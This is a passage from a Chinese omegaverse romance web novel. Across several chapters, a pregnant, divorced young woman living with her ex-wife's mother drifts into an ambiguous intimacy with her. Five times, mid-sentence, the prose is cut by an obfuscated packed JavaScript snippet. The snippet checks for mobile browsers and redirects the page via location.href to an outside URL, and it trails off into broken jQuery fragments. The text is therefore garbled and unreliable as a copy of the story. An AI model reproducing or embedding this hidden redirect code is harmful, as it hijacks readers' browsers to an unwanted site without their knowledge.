但自从沈遐云把这枚婚戒戴在她手上后,她从来没有取下过,此刻贸然被摘下,空落落的,好像身体的某个部分也被跟着摘掉了似的。 她有些不适应地蜷缩了下手指。 指根处一圈红痕,那是戴了太久,不可避免留下的压痕。 这枚戒指是沈遐云婚礼时给她戴上的,当时沈缎青也在场。 一枚小巧精致的铂金戒指,戒指内圈刻着两人的姓名缩写。 这个时代,谁还会在戒指里刻名字?太土了吧。 当时尤昙有些哭笑不得。 可是沈遐云坚持。 她看了眼被放在靠在沈缎青那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483835|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矮柜上的戒指,回过神来。 沈缎青却没有放开她的手。 沈缎青比她高不少,手指也自然比她长不少,可以完全不留一点空隙地将她的手包裹起来。 温热的掌心,细腻的触感,让她紧张又疑惑。 时间太久,久到她疑惑,忍不住发问:“……怎么了?” 沈缎青这才动作自然地松开她的手。 在她指根捏了一下,似乎捏了一下……吧。 尤昙不确定,因为女人的动作太快了。 有那么一瞬间,给她了一种女人其实是想牵她的手的错觉。 她愣了愣。 床边的灯光柔柔洒下,沈缎青什么都没解释,摸了摸她的头。 “好了,睡吧。” “晚安。” 听到这句话,不是怎么地,她下意识松了口气。 沈缎青闭上了眼睛,她也跟着闭上眼睛。 房间内很快安静下来。 女人似乎很快睡着了,呼吸之间变得平稳和缓。 她却迟迟没睡着。 光线昏暗,反倒助长了听觉的增长,寂静的房间里,女人的呼吸声变成了唯一的声源。 她不想,可是耳朵几乎无可逃避地捕捉到了这道呼吸声。 平稳轻柔的呼吸声,像是落在她耳边,一下一下,海浪般冲刷着她的耳廓,令她手脚微微发麻。 她小心翼翼地又向床边挪了一下,拉开了微不足道的一点距离,重新闭上眼睛。 本来以为自己会睡不着,可是闭着眼睛,伴随着耳边另一个人的呼吸声,竟然也不知不觉间陷入了深眠。 而她以为身旁原本早就睡着的人反而睁开了眼睛。 沈缎青侧过身。 大概有些不适应和她睡在同一张床,女孩虽然睡熟了,但是身体并没有完全舒展,两只手端端正正地搭放在小腹,似乎在睡梦中都刻意和她拉开距离,显得很拘谨。 沈缎青握住她的手,摩挲她的指根。 戒指被取下了没多久,指根处的痕迹就淡了很多。 大概明天就会彻底看不见了。 她忍不住笑了下,将尤昙的手放在自己腰上。 隔着睡衣布料触碰到温热体温,或许是早就习惯和另一个人同眠,尤昙哼了声,不受控制地凑过来搂住她的腰,很自觉地将脸颊贴在她的胸口,整个人完全埋进她怀里。 17. 第 17 章 太舒适惬意的环境,就会让人一定程度上丧失判断力。 尤昙睁开眼睛。 对上了一双熟悉的眼睛,带着笑意注视着她。 窗帘被掩着,遮挡窗外已经明亮的光线,隐约透出亮青的天色。 那一线光恰好落在身旁女人的面颊上,挺拔鼻梁,带着笑意的眼睛。 她茫然地盯着女人的脸,有那么一瞬间,她以为自己身边的是沈遐云。 “睡醒了?” 她神思迷蒙地点点头。 “睡得怎么样?” 意料之外,她睡得很沉,只是觉得有些热。 迷迷糊糊间她似乎醒过一次,女人将她抱得太紧,体温又比她高,她有些不舒服。 她试图挣脱,可是女人不肯放开她,最后只好随遇而安,在女人怀里找了个舒服的位置。 她目不转睛地对上女人的眼睛。 沈遐云有时比她早醒来,也喜欢这样看着她。 这其实也是她很喜欢的时间,清晨气氛宁静清新,会让人觉得安心。 沈遐云经常会故意趁她意识朦胧间亲她,因为这个时候她还没清醒,几乎乖得不像话,沈遐云要她做什么她都会乖巧地照做,哪怕平时觉得羞耻的那些动作,做得过分她也只会靠在沈遐云肩上小声哭。 也是同居了半年沈遐云才发现了她这个特点。 “那有梦到我吗?” 她正想要回答。 沈缎青笑了下:“只是开玩笑,该起床了,孩子。” 这句话一下让她从刚才的幻觉中清醒过来。 她身边哪里是沈遐云,分明是沈缎青。 两只手臂搂着女人的腰,窝在女人的怀里,脸颊贴在女人的胸口。 胸口。 她意识到这一点后,她才猛然反应过来,自己此刻枕着的柔软的起伏是什么。 沈缎青眼睁睁看着尤昙睡眼惺忪地贴在她怀里,到此刻不知所措地松开手,脸蛋涨红,慌慌张张地推开她,从她怀里爬出来。 看着她的背影,没出声,很轻地笑了一下。 尤昙站在卫生间平复心情,镜子里映出了一张羞到发红的脸。 脸颊上接触到的柔软的触感迟迟无法散去。 她其实隐约见过女人的……不止一次。 第一次是第一次见面,她的眼泪把女人的衬衫弄湿了。 第二次是不久前,女人正在洗澡,仓促间身上是件领口半敞的睡袍。 但是这还是第一次,如此完整扎实地感受到。 和沈遐云的差不多,或许还要更大一些。 昨晚她应该没有在半睡半醒间,将手从睡袍底下钻进去放在女人胸口吧? 沈遐云不止一次打趣过她这个奇怪的小癖好。 明明平时亲一下都要害羞好久,但是睡着了又是另一副模样。 手里一定要握着揉着,有时甚至会张开唇咬,不自觉地吮。 应该没有吧。 她迟疑地想。 毕竟女人什么都没有表现出来。 洗漱完,十几分钟过去,脸上的热度终于消下去,她将乱七八糟的思绪收拢回来。 此刻天色其实还算早。 看到自己光秃秃的手指,她突然想起什么,回身去卧室里找。 放在矮柜上的那枚她和沈遐云的婚戒不见了。 见她脸色犹豫,沈缎青明知故问:“怎么了?” 尤昙:“戒指呢?” “对你很重要?” “已经离婚了,还需要这个戒指吗?怎么?还想再戴上?” 尤昙愣了一下。 语气还算柔和,可这两句话情绪听起来莫名很淡,不像是生气,也不像质问,只是单纯的询问,却不自觉让人神经绷紧。 “不……” 她只是太习惯了,以至于忘记取下来。 但取下来后,她也没想再戴。 况且,这枚戒指属于她的。 哪怕是沈遐云送给她的婚戒,也是属于她的。 抛却这枚戒指代表的意义,她还有点很切实的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483836|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这戒指本身就有一定价值,也是属于她的一小笔实物财产。 她几乎下意识想解释,却没意识到,按照她和沈缎青的关系,她根本没解释的必要。 “不,我只是问问。”听到她的解释,沈缎青的语气仍然柔和,仿佛刚才只是随口一问,安慰,“可能是不小心碰掉了。” 可地板上干干净净,什么也没有,她甚至想要看看是不是掉在了床下。 被沈缎青阻止了:“清理房间的时候我会让人仔细找找的,别担心。” 她只好点点头。 吃过早餐,沈缎青要去研究所。 尤昙却想起了另一件事,沈缎青和姐姐在同一家研究所工作。 她和姐姐已经接近五个月没见面,她就算不太担心,也想知道点姐姐的消息。 她吞吞吐吐道:“我姐姐和您在同一个研究所工作。” 沈缎青等待她的下文。 她只好继续道:“已经五个月没消息。” “想知道她的消息?”沈缎青终于接过她的话。 尤昙点点头。 沈缎青:“我知道了。” 话已经说完了,但是沈缎青却还站在门边,一直没动,看着她,似乎在等待着她做些什么。 尤昙突然意识到了什么。 她麻烦沈缎青帮忙,不能白白要求,总要付出点什么。 沈遐云也总是这样,要帮她做什么事,需要她付出一点小小的报酬。 被女人盯着,她有些紧张,也有些蒙,眼睛湿润润地凑过去,抱了一下女人,小声道:“谢谢。” 这样可以了吧? 沈缎青罕见地愣了一下,她不是这个意思。 只是尤昙还没告诉她姐姐叫什么。 不过也没关系,她本来就知道。 沈缎青回抱了她,失笑道:“等我回家。” 顿了一下,目光落在她的小腹,又补充道:“还有宝宝。” 话音落下,她眼睁睁看着尤昙的耳朵因为她这句话,唰一下变红了。 18. 第 18 章 尤昙心跳凌乱,迟迟无法平复。 她一时分不清,是刚才的气氛太微妙,还是女人的这句话太微妙。 “等我回家。” “和宝宝一起。” 微妙到让人无法判断她的本意。 好像她们不像什么长辈和小辈,更像是一对感情很好的伴侣。 她站在门边,依依不舍地送妻子去上班,临走前给一个拥抱。 她被这个设想吓了一跳。 很快又觉得是自己多想,沈缎青从始至终恐怕没那个意思。 毕竟是她擅自先抱了沈缎青。 在抱上去的那一刻,她甚至能感受到女人的身体僵硬了一下。 或许……这只是一句再平常不过的告别语? 她又回到房间。 房间里,沈缎青虽然暂时离开了,但是属于她的气味仍然无处不在,让她感到安心。 不知道是不是孕期的缘故,她开始有些嗜睡。 除了中午阿姨特意叫醒她吃午餐,她断断续续居然就睡到了沈缎青下班回家。 一睁眼,女人坐在床边,不知道已经回来多久,静静地看着她。 她脸微红,有些懊恼,她都不知道自己睡了这么久:“您什么时候回来了?” “怎么不叫醒我?” 沈缎青笑道:“先起床。” 尤昙看着女人的表情。 她隐约猜到,或许是临出门前女人答应过她的事情有结果了?她有些期待地想,难道有姐姐的消息了? 但比她想得还要惊喜。 “昙昙?”一道声音从手机里传出来,“能听到吗?信号有点不好。” 这下她连害羞都顾不上了,坐起身:“姐姐!” 沈缎青将自己的手机拿给她,是研究所实验基地的内部通讯频道。 尤昙接过手机。 “不用担心我。” 手机里,尤卉的声音听起来有些疲惫,但是语气是兴奋愉悦的。“到时候项目结束,说不定我也是在联邦数得上的研究员了。” 虽然工作内容枯燥,日复一日的实验,但尤卉显然很喜欢。 又聊了几句,尤卉的声音刻意低了一点:“你老婆呢?” 她又补了一句:“你们没什么问题吧?” 严格意义上,沈遐云是尤卉的直系老师,甚至任教过她两门课程;但另一方面,又是妹妹的伴侣。关系有些复杂,最后就折中,在只有姐妹两人时,尤卉简单粗暴地称沈遐云为你老婆。 至于不得不见面的时候,尤卉喊沈遐云沈老师,沈遐云和尤昙一起喊尤卉姐姐。 总之就是各论各的。 尤昙愣了一下。 尤卉其实最开始对于沈遐云颇有微词,因为两人关系的开始实在不让人安心。 虽然尤昙和她认真解释过,是沈遐云帮她脱离了那次信息素暴动,也是她自己因为突然而至的分化主动吻了沈遐云。 沈遐云没做错什么。 唯一勉勉强强算得上错误的就是两人的信息素太契合,意外造成了尤昙的分化。 这也不是沈遐云主观故意的。 不管怎么说都怪不到沈遐云头上。 可是她是尤昙的姐姐,又不是沈遐云的姐姐,她当然站在自己妹妹这边。 她只知道自己见到的是妹妹昏睡,沾着一身陌生的alpha信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483837|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息素味,差点将她吓坏。 沈遐云身为一个明白是非曲直的成年人,半推半就地标记了刚成年的尤昙,这本身就是一种错误。 说她对沈遐云有偏见,一点都不为过。 但两人在一起三年,沈遐云做得无可挑剔,做事也让人放心,两人的感情也一直很好。 尤卉态度才逐渐和缓了很多。 这句只是随口一问,更像是闲聊。 显然长达五个月的封闭研究,让尤卉还没来得及知道任何有关新型抑制剂的新闻。 尤昙神情不自然地顿了顿。 有问题,而且问题很大。 沈遐云出轨,她怀孕了,和沈遐云离婚,现在住在沈缎青这里。 在尤卉不在的这段时间里,一下子发生太多事情。 她早就想和姐姐说这些,甚至不止一次地想过,如果姐姐那时在她身边就好了。 可是此刻听到姐姐声音里掩不住的疲惫,她又突然犹豫,不知道要不要说。 这时,旁边一道声音插入进来:“尤卉。” 尤昙侧头有些不明所以地侧头看向坐在她旁边的女人,以为沈缎青有话对姐姐说,自觉地安静下来。 但是女人的下一句话却让她心一下跳到了嗓子眼。 “我们没什么问题。” 她茫然地张了张唇。 女人却对她轻轻笑了一下,指尖在她唇边虚点了一下,示意她不要出声。 这一瞬间,好像把她拉进阵线,她和沈缎青合伙欺骗电话那头什么都不知道的姐姐。 心跳飞快,手心冒汗。 她听到沈缎青继续说:“尤昙在我这里没什么问题。” 19. 第 19 章 气氛静默了一瞬。 那头尤卉皱眉,心里有点说不上来的感觉。 主要是这个声音乍一听像是沈遐云,但是细听又觉得语气有点不对。 每个人都有自己的说话习惯,重音、咬字,这种后天习得的技能,就算双胞胎,也不可能完全一样。 可是除了沈遐云,这么晚妹妹身边应该也没别人了。 而且妹妹什么都没说。 大概是自己最近太累了。 因此尤卉没接这句话。 哪怕沈遐云现在是她妹妹的伴侣,可是作为老师的余威仍在,尤卉也不想闲聊,知道两人没问题就行,嗯了声,客气道:“麻烦把手机给昙昙。” 好不容易和姐姐联系上,尤昙原本想要和尤卉再多聊聊天。 可是刚才沈缎青随意的两句话,让她和尤卉说话时都有了几分欺骗的负罪感。 没聊几句,时间也有些晚,尤卉声音也难掩疲惫。 虽然尤卉还想和她再多说几句,但她和姐姐从小一起长大,什么时候都瞒不住姐姐,尤昙止不住的心虚,生怕自己哪句话不小心漏了馅。 最终两姐妹还是恋恋不舍地挂了电话。 虽然没说太多,但终于有姐姐的消息,她还是不由自主地开心。 不过,刚才沈缎青为什么突然说那句话? 她忍不住看向女人。 始作俑者仿佛一点没自觉,反而平静地回视她,甚至主动问:“怎么了?” 尤昙:“……为什么刚才和姐姐那样说?” 沈缎青嗓音疑惑地轻嗯了声:“我说了什么?” 尤昙:“……” 沈缎青一共就说了两句,还要问她说了什么。 大概她的表情太憋闷。 沈缎青忍不住笑了下:“研究一时半会结束不了,我只是担心尤卉不放心你。” 是吗? “那也不能这样说……”她嘟囔。 万一到时候姐姐结束工作,发现她和沈遐云已经离婚还骗她…… 沈缎青:“为什么不能那样说?我有哪句话说错了吗?” “你再好好想想。” 她如此淡定,甚至有点理直气壮,尤昙忍不住动摇了,回忆刚才的两句话。 —你老婆呢? —你们没问题吧? —我们没问题。 —尤昙在我这里没问题。 是的,仔细想想,这两句话单独听起来好像是没问题的。 甚至女人对她的称呼也是连名带姓的尤昙两个字。 比起她以为的故意欺骗,仔细想想,沈缎青这句话其实更像是站在长辈角度,给尤卉做出的保证。 ……假如电话对面的尤卉知道沈缎青的身份的话。 可问题就是尤卉什么都不知道啊。 她张了张嘴,有些说不出话,茫然地看向女人。 沈缎青冷静地回视。 几秒后,尤昙先移开目光。 偏偏她和姐姐都没听出来。 尤卉是潜意识觉得尤昙身边的肯定是沈遐云,先入为主,没有过多怀疑。 而她是被女人当时的表情和语气给迷惑了,产生了误解。 况且,女人似乎没有理由故意骗尤卉,这么做有什么好处呢? “生气了?” 尤昙心里是有点怪异,但还是认真摇摇头:“不生气,但下次不要这样说了。” 女人的出发点是好的,起码让姐姐安心了。 只是这两句话听起来实在太有歧义了。 沈缎青像是没听到这句,转移了话题:“这是我的通讯号。” 将自己的手机屏幕朝向她,示意她看清。 尤昙不明所以,却还是听话地看过去。 一晃之下,尤昙觉得这串数字十分熟悉,好像在哪里见过。 对,名片。 她想起来,她和沈遐云婚礼当天,沈缎青给她的名片上就印着这串数字。 很少有人会在名片上印上如此详细的个人信息:通讯号、工作地、住址。简直像个人简介,毫不顾忌地将个人隐私展示了出去。 沈遐云的名片和沈缎青的相似,都是灰色调,烫金字体,猛一看去,真让人有些分不清。 当时她还心里悄悄吐槽过,这对母女连喜好都如此相似。 但不同的是,沈遐云只有通讯号和工作地。 见她盯着屏幕不知道在想什么。 沈缎青哭笑不得:“我们添加一下通讯号。” “现阶段尤卉没法直接和你联络,用的是研究所里公用的对外联络号,如果尤卉有什么消息我也可以及时给你转达。” 尤昙这才反应过来,去房间里找出自己的手机。 她在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483838|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里住了几个月,都没想起来要加通讯号。 沈缎青看着她操作,直到确认通过。 两人刚刚加上通讯号,对话框里仍然空空如也,除了一句系统消息:对方是你的新好友,试试打声招呼吧! 而沈缎青对话框的上面,是沈遐云和姐姐尤卉的对话框。 两人被她特意置顶,一眼就能看到。 她和沈遐云的对话框里最后停留的一句话是她发给沈遐云的消息:到底出什么事了?你现在在哪? 她当时有些担心,情急之下发了很多消息。 沈遐云当然不可能回复。 再往上,是沈遐云和她说今晚可能回不去,有急事,不用等她,早点睡。 她目光顿了顿,略过这个对话框,准备退出。 斜里突然伸过来一只手,指尖点触,帮她将沈遐云的对话框取消了置顶。 然后很自然地换成了自己的。 尤昙正在全神贯注地浏览屏幕上的信息,下意识侧头去看那只手的主人。 不知何时,两人并肩坐在沙发上,距离很近。 尤昙坐得直,沈缎青则坐得微微靠后。 前后略微错开。 而此时,女人就借着这个错开的距离,一只手撑按在她腰后一寸的沙发上,靠近一些,歪头看向她手里的屏幕,另一只手拨弄她放在膝盖处的手机。 这个距离和姿势实在微妙。 不像拥抱,又实在很自然亲昵。 假设只要沈缎青愿意伸出撑按在沙发上的那只手,就能彻底从背后环抱住她。 不是故意的,只是恰好,不小心地用气息虚虚环住了她。 两人迟迟没动。 尤昙是一时忘了该如何反应,手脚僵硬。 沈缎青不知道为什么也没动。 直到气氛变得怪异之前,在她有所察觉前,沈缎青才及时退开,收回了手臂,坐直身体,目光也从她后颈处撤回,温声:“以后宝宝越来越大,这样可以更方便找到我。” “我想,现阶段我的通讯号应该比遐云的有用一点。” “对吗?” 很自然地站在一个长辈的角度为她着想。 两人刚才的姿态有些过近,但此时女人话又说得很矜持,仿佛刚才只是她多想,衬得她心头的想法太奇怪。 尤昙握紧手机:“……喔。” 20. 第 20 章 尤昙收起手机。 不管怎样,今天都是让人开心的。 吃过晚餐,她还毫无困意,洗过澡之后,她有些精神兴奋地在视频网站上看一些给小猫小狗洗澡修毛的视频。 直到沈缎青提醒,她才意识到时间已经很晚了,恋恋不舍地放下手机。 沈缎青没提,她也把戒指的事情抛在了脑后。 虽然房间里只有她们两个,她却丝毫没有怀疑沈缎青。 毕竟沈缎青要她和沈遐云的婚戒有什么用? 既然在这个房间里,哪怕暂时找不到了,也仍然在这个房间里,总不会丢掉,说不定哪天就会找到了。 反而是昨晚的事情让她更紧张一些。 洗完澡在床上躺下后,熟悉的场景,耳边是哗啦啦的水声。 今早起床的画面还历历在目,为了克制住自己,她闭着眼睛今天刻意约束自己,心里强调,今天不能再像昨天一样,趴在女人胸口睡了。 她自认自己睡相不差,这几个月自己一个人睡时,常常睡前睡姿是什么样,醒来仍然是什么样。 猜测是和沈遐云在一起太久,两人在一起三年,很多习惯是没办法一朝一夕改掉的。 沈缎青在她身边躺下。 两人隔着一小段距离,气氛很安静,只能听到自己咚咚的心跳声。 尤昙犹豫几秒,侧过头:“妈……”妈。 话准备叫出口,又猛地停住。 因为她突然意识到,她和沈遐云已经离婚。 她和沈缎青之间严格来说毫无关系。 依然按照以前这样叫合适吗?那现在应该叫什么? 张了张嘴,却只发出了一声气音。 好在沈缎青已经听见了,侧头看向她。 尤昙有些不好意思:“谢谢。” 她没想到早上才请沈缎青帮忙,晚上就能得到姐姐的消息。 哪怕这对沈缎青只是举手之劳,她也应该要认真说谢谢。这代表沈缎青一定是将她的话放在了心上。 灯光朦胧,只能看清身旁人的轮廓,女人似乎笑了一下:“只有谢谢吗?” 声音有点低,尤昙没听清:“什么?” 沈缎青也没有想再说一次的意思,轻声道:“晚安。” “哦。”尤昙也回她一句晚安,闭上眼睛,又在心里对自己强调了一遍,今天晚上她不能再毫无边界感地靠在沈缎青怀里睡了。 但是半梦半醒间,她似乎感受到两人之间被刻意拉开她的距离消失。 肩靠肩,女人的体温隔着衣料仍然毫无保留地传递给她。 她其实很清楚身边的人是谁,哪怕她在清醒时尚不能抵抗,更别说此刻睡意朦胧。 身边的人对她极有吸引力,天然的、本能的、不加掩饰的。 但还是迷迷糊糊地靠了过去, 以至于,第二天一早醒来,睁开眼,她发现紧贴在沈缎青胸口,她居然不太惊讶。 如果说第一天她毫无察觉,可是昨晚她还迷迷糊糊记得是自己往主动女人怀里钻。 女人还没醒来,闭着眼睛,呼吸平稳,青棕色的长发随意落在枕上。 她紧紧抱着女人的腰,而女人的手臂搭在她的肩上,宽容地将她抱在怀里,纵容着她的动作,显得格外亲呢。 她脸红了一下,小心翼翼地试图从女人怀里钻出来。 “现在还早,还要再睡会吗?”女人刚刚醒来,声线还带着些微惺忪沙哑的意味 尤昙动作僵了僵。 眼看好不容易拉开了些距离,却被沈缎青自然地揽回了怀里。 尤昙:“……” 她对上女人的眼睛。 第一次她还无所适从,但真发生了第二次,她反倒没昨天那么不好意思了。 甚至坦然了许多。 大概是因为沈缎青此刻的态度,没有显露出任何不舒服和抗拒。 就好像这是再正常不过的事情,以至于她也被模糊了判断,按照她和沈缎青的关系,的确应该划清边界,可是…… 她其实有点拿不准和长辈相处的方式,既然沈缎青没有表现出任何不舒服,或许这样没有任何问题? 她小心翼翼地伸手揉了揉自己有些酥麻的耳廓。 …… 一天天过去,尤昙小腹的弧度逐渐明显。 其实她对于这个孩子的去留仍然有些犹豫。 沈缎青误会她想要留下这个孩子,可她当时更多只是担心和沈缎青之间突然完全没了任何关系。 再加上怀孕,身体激素影响,产生了强烈的不安全感,却没有伴侣陪在身边。 她其实应该和沈缎青表达自己的想法,但却支支吾吾一直没有开口。 这样做似乎有点自私。 可如果连这个孩子都没了,她和沈缎青之间就彻底没关系了。 现在,逐渐安定下来,也联系上了姐姐,哪怕姐姐现在还不在她身边,她也不自觉地轻松了许多。 她意识到自己真的得做出决定了。 是留下还是……她抚了抚自己的小腹。 手下弧度已经逐渐变得明显,平日有衣服的遮盖,其实根本看不出来,但尤昙这个母亲感受最为清晰。 不是胖了,是一个新生命在其中孕育。 可是留下就意味着一定要找另一个alpha完全标记她,成为这个孩子的新母亲。 可是没有感情基础,找到一个合适的愿意接纳这个孩子的alpha哪有这么简单? 空气中残留着这栋房子主人的信息素,和沈遐云极其相似的信息素,正不断抚慰着她,让她觉得安心。 她愣了一下,另一个念头不受控制地挤了出来。 合适的alpha,自己身边不就有一个? 可是这样的念头知道一闪而逝。 她就像是被火星烫了似的,吃痛地飞快将这个念头从脑海里挥散。 先不论沈缎青是否愿意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483839|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人之间的关系就不允许她这样想。 沈缎青对她很好,一个和煦温柔长辈,哪怕只是想想,也像是在产生邪念。 沈缎青回来的时候就见到这样一副场面。 尤昙坐在沙发上,没有像前几天一样,一听到脚步声就一脸期待地转头往门的方向看。 此时甚至没有意识到她回来,正垂着脑袋,膝盖上摆着手机,手指滑动,不知道在搜索些什么,看得很专心。 黑色长发柔顺地散在肩头,微微露出了一小段白皙纤细的脖颈。 沈缎青放轻脚步走近。 尤昙浑然未觉。 屏幕上的字映在她的眼中。 ——信息素紊乱。 这是一种常见于alpha的病症,听起来似乎并不严重,就是信息素分泌不正常。 可是信息素本身极其重要,再小的病症也影响极大。 腺体无法正常分泌信息素,严重一些,连抚慰伴侣都做不到,而且还会一定程度上影响人的性格,容易变得暴躁易怒。 往大了说,这是一种终身残疾也不为过。 在体外孕育技术诞生之前,哪怕联邦公民生育意愿已经极低,医生也一定会在孕前检查时对每个有生育想法的伴侣强调,自然孕育一定慎重再慎重,毕竟并不是所有人都能担负起责任。 就像她的两个母亲一样。 是因为相爱才在一起,也是因为相爱才愿意生下了她和姐姐。 却因为信息素契合度太低,在孕育过程中不免产生摩擦,两人都不免辛苦,无数件细碎的摩擦演变成了矛盾,相爱,但是爱意里掺杂着埋怨和恨,因为姐姐的出生她们分开过一次,后来又复合,最后她的出生彻底变成了两人矛盾的爆发点。 她盯着屏幕上的字有些出神。 其实她一开始还以为她和沈遐云会不一样。 毕竟她们的信息素匹配度极高,三年的同居生活也几乎没有任何矛盾,她们应该能算作一对相爱的伴侣。 她手放在小腹上,感受着手下的弧度。 她还以为这个孩子起码能够出生在一个幸福的家庭里。 她提了提唇角,心里却五味杂陈。 回过神,余光突然瞥见脚边的地面。 黄昏时分,斜长的影子落在地板上,不只有她的,还有另一个人的影子,重叠着将她笼罩。 她愣了一下,猛地回过头,对上一双含笑的眼睛。 沈缎青不知道什么时候回来了,她居然一点都没有发现,而且已经不知道站在她身边看了多久。 沈缎青目光淡定地从她手机屏幕上一扫而过:“这么专心?在看什么?” 她身体僵了僵,慌乱想要收回手机,可是越着急越出错。 最后还是沈缎青主动伸手帮她按熄了屏幕。 指尖擦过她的手背,留下极轻的触感。 沈缎青脸上带上笑意,像是根本没看到她手机屏幕的上的搜索页面:“先吃饭吧。” 21. 第 21 章 整个晚餐,尤昙都有些心不在焉的忐忑。 她想起来自己刚才搜索的那些信息。 信息素紊乱。 如果她要留下这个孩子,沈遐云势必会因为这个孩子留下不可逆转的病症。 她忍不住看了眼对面的女人,不知道沈缎青有没有看到她的搜索记录。 看到了吗?还是没看到? 哪怕沈缎青和沈遐云的关系并不好,可沈缎青作为一个母亲,能够眼睁睁地看着自己的女儿患上这种病吗? 应该不会,毕竟女人性格如此温柔。 更何况,她知道自己有多少故意的成分。 不过,沈缎青真的没有想到吗? 另一个念头不合时宜地冒出来,又像是太阳下被晒干的露水,瞬间消失。 沈缎青从事的职业,应该对这些有一定了解吧? 她忍不住抬头。 女人的表情平静,甚至还像往常一样给她夹菜,见她晚餐食欲不佳,略有担忧:“今晚的菜不合胃口吗?” 尤昙默默摇头。 阿姨尽量将饭菜做得健康营养又适口,几乎都是她喜欢吃的。 前几天她还喜欢吃咸辣口味,最近又开始偏爱酸甜口味。 孕期口味有些变化,这很正常。 除此之外,omega还可能出现嗜睡、食欲不振等等症状。 而alpha常常产生的症状是,因为乳汁分泌导致的乳-房涨痛,会一直从怀孕中后期持续到孩子出生以后到很长一段时间。 阿姨从来没和她一起吃过饭,但是每次都恰好能够及时地察觉到她口味的变化并更新菜谱,想也不用想,这应该是沈缎青细心观察到后特意交代的。 但是沈缎青却从来没有在她面前特意提起过这些。 尤昙忍不住看了她一眼,又挪开目光。 沈缎青放下手中的餐具:“有什么话要和我说?” 尤昙愣了一下。 似乎对她的敏锐有些惊讶。 沈缎青笑了笑:“那干嘛一直看我?” 整个晚餐,时不时地朝她的方向看,自以为做得很隐蔽,可沈缎青一直将注意力放在她身上,怎么可能看不出来。 尤昙有些紧张地握住手指,试探道:“您看到我刚才手机上的内容了吗?” 沈缎青点点头。 没什么否认的必要。 “那……”尤昙吞吞吐吐。 沈缎青其实已经隐约猜到她想说些什么了,或者说,这些天一直在等她开口,但面对着尤昙忐忑的目光,她还是佯装疑惑:“想问什么?和沈遐云有关吗?” 尤昙迟疑点头。 女人温柔地望着她,灯光明亮,那双眼睛似乎无限包容。 她突然有种欲望,想要问问沈缎青的想法。 “我要留下这个孩子吗?” 这也是她第一次,在沈缎青面前试图表达自己的想法。 沈缎青一时没说话,表情似乎有点意外。 大概是对她重新提起这个孩子去留的意外,毕竟沈缎青之前已经问过她这个问题,当时她虽然没回答,但是面对沈缎青要求她离婚的提议也没拒绝。 但只有沈缎青自己知道,她只是在诧异,尤昙居然能忍到这个时候才提出来。 尤昙被她看得有些紧张:“我之前还没想好,” 坦率地说,沈缎青对这个孩子并没有什么特殊感觉,甚至持悲观态度。 如果说,沈遐云是对她基因的一次不成熟的复制,一个失败的赝品,毫无意义的克隆品,那么这个孩子算什么? 不过迎着尤昙期待甚至孺慕的目光。 她还是笑了笑,语气温和: “怎样都好。” “只要是你的孩子,都可以。” 话说得很漂亮体贴,是个正常长辈会说出的回答。 可这却不是尤昙想要的答案。 她想要有人告诉她,准确地,让她无法拒绝的答案。 而不是这样模棱两可地向她表达:无论做什么决定我都会支持你。 或许是她从小到大都太习惯被做决定了,以至于在听到这个答案的一瞬间,有种不适应的难捱和茫然。 尤昙垂下眼睛,脸上不自觉地露出了失望的神色。 从小到大,她身边只有姐姐,姐姐身边也只有她。 